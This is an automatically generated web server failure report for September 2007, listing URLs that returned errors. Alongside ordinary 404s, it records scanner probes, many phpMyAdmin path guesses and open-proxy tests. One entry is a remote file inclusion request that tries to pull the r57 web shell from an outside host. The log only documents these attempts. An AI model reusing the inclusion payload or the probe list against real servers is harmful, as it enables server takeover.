The Failure Report identifies requests that were made to the server that resulted in an error such as a '404 Document Not Found'. These errors can be caused by a mistyped URL or a broken link on a referring page.
This report shows the first 100 results by number of requests. This report is sorted by number of requests.
| File Name | Number of requests | |
|---|---|---|
| 1. | /robots.txt | 142 |
| 2. | /favicon.ico | 37 |
| 3. | /w00tw00t.at.ISC.SANS.DFind:) | 16 |
| 4. | /newindex04.htm | 3 |
| 5. | / | 2 |
| 6. | /stats/.stats.Jun-2003/[root directory] | 2 |
| 7. | /stats/.stats.Sep-2002/[root directory] | 2 |
| 8. | /stats/.stats.Jul-2002/[root directory] | 2 |
| 9. | /mysql/main.php | 2 |
| 10. | /stats/.stats.Oct-2002/[root directory] | 2 |
| 11. | /stats/.stats.May-2003/[root directory] | 2 |
| 12. | /stats/.stats.Sep-2003/[no directory] | 2 |
| 13. | /stats/.stats.Mar-2003/[root directory] | 2 |
| 14. | /stats/.stats.Sep-2003/[root directory] | 2 |
| 15. | /stats/.stats.Jul-2003/[root directory] | 2 |
| 16. | /stats/.stats.Jun-2003/[no directory] | 2 |
| 17. | /stats/.stats.Apr-2003/[no directory] | 2 |
| 18. | /stats/.stats.Apr-2002/[root directory] | 2 |
| 19. | /stats/.stats.Dec-2002/[root directory] | 2 |
| 20. | /stats/.stats.Aug-2002/[root directory] | 2 |
| 21. | /stats/.stats.Nov-2002/[no directory] | 2 |
| 22. | /stats/.stats.Aug-2003/[no directory] | 2 |
| 23. | /stats/.stats.Mar-2003/[no directory] | 2 |
| 24. | /stats/.stats.Feb-2003/[root directory] | 2 |
| 25. | /graffs/roberta.html | 2 |
| 26. | /stats/.stats.Apr-2003/[root directory] | 2 |
| 27. | /stats/.stats.Jul-2003/[no directory] | 2 |
| 28. | /stats/.stats.Aug-2003/[root directory] | 2 |
| 29. | /stats/.stats.May-2003/[no directory] | 2 |
| 30. | /stats/.stats.Jun-2002/[root directory] | 2 |
| 31. | /stats/.stats.Jan-2003/[no directory] | 2 |
| 32. | /stats/.stats.Oct-2002/[no directory] | 2 |
| 33. | /stats/.stats.Jan-2003/[root directory] | 2 |
| 34. | /phpMyAdmin/main.php | 2 |
| 35. | /stats/.stats.Dec-2002/[no directory] | 2 |
| 36. | /stats/.stats.Nov-2002/[root directory] | 2 |
| 37. | /graffs/ | 2 |
| 38. | /stats/.stats.Feb-2003/[no directory] | 2 |
| 39. | /stats/.stats.May-2002/[root directory] | 2 |
| 40. | /webadmin/main.php | 1 |
| 41. | /phpMyAdmin-2.6.4-pl3/main.php | 1 |
| 42. | /phpMyAdmin-2.6.1/main.php | 1 |
| 43. | /PMA/main.php | 1 |
| 44. | /phpMyAdmin-2.2.6/main.php | 1 |
| 45. | /phpMyAdmin-2.5.6/main.php | 1 |
| 46. | /phpMyAdmin-2.6.0-pl2/main.php | 1 |
| 47. | /cobalt-images/welcome2.gif | 1 |
| 48. | /webdb/main.php | 1 |
| 49. | /phpMyAdmin-2.7.0-rc1/main.php | 1 |
| 50. | /phpMyAdmin-2.6.0-beta2/main.php | 1 |
| 51. | /phpMyAdmin-2.6.1-pl1/main.php | 1 |
| 52. | /phpMyAdmin-2.8.0.1/main.php | 1 |
| 53. | /w00tw00t.at.ISC.SANS.Pwn!t:) | 1 |
| 54. | /phpMyAdmin-2.6.4-pl4/main.php | 1 |
| 55. | /phpMyAdmin-2.6.2/main.php | 1 |
| 56. | /phpMyAdmin-2.6.4-rc1/main.php | 1 |
| 57. | /phpMyAdmin-2.5.7/main.php | 1 |
| 58. | /phpMyAdmin-2.6.0-pl3/main.php | 1 |
| 59. | /phpMyAdmin-2.5.5-pl1/main.php | 1 |
| 60. | /cgi-bin/index.php | 1 |
| 61. | /phpMyAdmin-2.7.0-beta1/main.php | 1 |
| 62. | /phpMyAdmin-2.8.0/main.php | 1 |
| 63. | /phpMyAdmin-2.6.1-pl2/main.php | 1 |
| 64. | /phpMyAdmin-2.8.0.2/main.php | 1 |
| 65. | /phpMyAdmin-2.6.3/main.php | 1 |
| 66. | /sqlmanager/main.php | 1 |
| 67. | /phpMyAdmin-2.6.2-pl1/main.php | 1 |
| 68. | /semxxlcemekptr.html | 1 |
| 69. | http://www.rambler.ru/doc/about.shtml | 1 |
| 70. | /phpMyAdmin-2.5.1/main.php | 1 |
| 71. | /phpMyAdmin-2.6.0-rc1/main.php | 1 |
| 72. | /mysqladmin/main.php | 1 |
| 73. | /sqlweb/main.php | 1 |
| 74. | /phpMyAdmin-2.6.1-pl3/main.php | 1 |
| 75. | /phpMyAdmin-2.8.0.3/main.php | 1 |
| 76. | /phpMyAdmin-2.6.2-beta1/main.php | 1 |
| 77. | http://212.53.82.102/admin/business_inc/saveserver.php | 1 |
| http://212.53.82.102/admin/business_inc/saveserver.php?thisdir=http://susej.org/upload/files/r57.txt? | 1 | |
| 78. | /phpMyAdmin-2.6.4/main.php | 1 |
| 79. | /xaajkznnnyaeqh.html | 1 |
| 80. | /cgi-bin/default.php | 1 |
| 81. | /cgi-bin/main.php | 1 |
| 82. | /phpMyAdmin2/main.php | 1 |
| 83. | /phpMyAdmin-2.8.0-beta1/main.php | 1 |
| 84. | /php-myadmin/main.php | 1 |
| 85. | /phpMyAdmin-2.6.0-rc2/main.php | 1 |
| 86. | http://bearbaby.s9.x-beat.com/ip.cgi | 1 |
| 87. | /PMA2005/main.php | 1 |
| 88. | /phpmyadmin2/main.php | 1 |
| 89. | /php-my-admin/main.php | 1 |
| 90. | /phpMyAdmin-2.6.3-pl1/main.php | 1 |
| 91. | /websql/main.php | 1 |
| 92. | /phpMyAdmin-2.7.0/main.php | 1 |
| 93. | /phpMyAdmin-2.8.0.4/main.php | 1 |
| 94. | /pma2005/main.php | 1 |
| 95. | /phpMyAdmin-2.6.1-rc1/main.php | 1 |
| 96. | /phpmanager/main.php | 1 |
| 97. | /sumthin | 1 |
| 98. | /phpMyAdmin-2.2.3/main.php | 1 |
| 99. | /phpMyAdmin-2.5.7-pl1/main.php | 1 |
| 100. | /phpMyAdmin-2/main.php | 1 |
| [not listed: 35] | 35 | |
This report was generated on October 1, 2007 02:12.
Report time frame September 1, 2007 04:30 to September 30, 2007 22:58.